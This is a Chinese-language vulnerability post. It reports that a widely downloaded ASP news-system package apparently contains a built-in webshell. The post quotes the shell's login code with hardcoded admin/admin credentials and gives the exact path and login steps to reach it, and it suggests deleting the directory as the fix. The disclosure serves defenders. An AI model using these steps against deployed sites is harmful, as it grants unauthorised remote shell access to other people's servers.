我很好奇某个源码文件用意。。。
详细说明：
到站长 下载 看到一个小系统9w多下载量:
体积很小，好奇下之,这里是下载地址：
http://down.chinaz测试数据/soft/1279.htm
大致看了下，发现一个好玩的东东，不知其用意
抛开[常规后台]/admin登录帐号口令%绕过不说，来看看位于admin\system\default. asp 的代码
<%
systemname="admin"
systempass="admin"
%>
< html >
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>System Administrator ver 1.1</title>
<style>
body{margin:0px;scrollbar-face-color:buttonface;scrollbar-highlight-color:buttonface;scrollbar-shadow-color:buttonface;scrollbar-3dlight-color:buttonhighlight;scrollbar-arrow-color:#797979;scrollbar-track-color:#EEEEEE;scrollbar-darkshadow-color:buttonshadow}
body,a,table,div,span,td,th,input,select{font:9pt;font-family: "宋体", Verdana, Arial, Helvetica, sans-serif;}
.text{border:1 solid buttonface;background-color:buttonhighlight}
.button{height:18;border:1 ridge buttonhighlight;background-color:buttonface}
#do{background-color:ffffff;color:FF8000;text-align:center;width:8pt;height:8pt;corsur:hand}
#box{width:7pt;height:7pt;}
a{text-decoration:none;}
</style>
<body onSelectStart="event.returnValue=false;" onConTextMenu="event.returnValue=false">
<%
adminname=Request.form("adminname")
adminpass=Request.form("adminpass")
if adminname=systemname and adminpass=systempass and Session("admin")<>"come" then Session("admin")="come"
if Session("admin")="" then%>
<table border=0 cellPadding=0 cellSpacing=0 height="100%" width="100%">
<tbody>
<tr><td align=middle>
<table border="0" cellpadding="3" cellspacing="2" width="200" align="center" bgcolor="EAEAEA">
<form name="form" method="post" action="default.asp">
<tr><th bgcolor="AAAAAA" colspan="2">管 理 员 登 陆</td></tr>
<tr><td>用户名</td><td><input class="text" type="text" name="adminname"></td></tr>
<tr><td>口 令</td><td><input class="text" type="Password" name="adminpass"></td></tr>
<tr><td></td><td align="center">
<input class="button" type="submit" value="登 陆">
<input class="button" type="reset" value="取 消">
</td></tr>
</form>
</table>.............
你懂的。。。。。
访问http://site/admin/system/default.asp
输入 admin/admin
你将看到一个标准的asp shell
修复方案：
去了system目录吧 要也没有。。
查看更多关于超强图文新闻系统 v2.0疑似内置webshell - 网站安全的详细内容...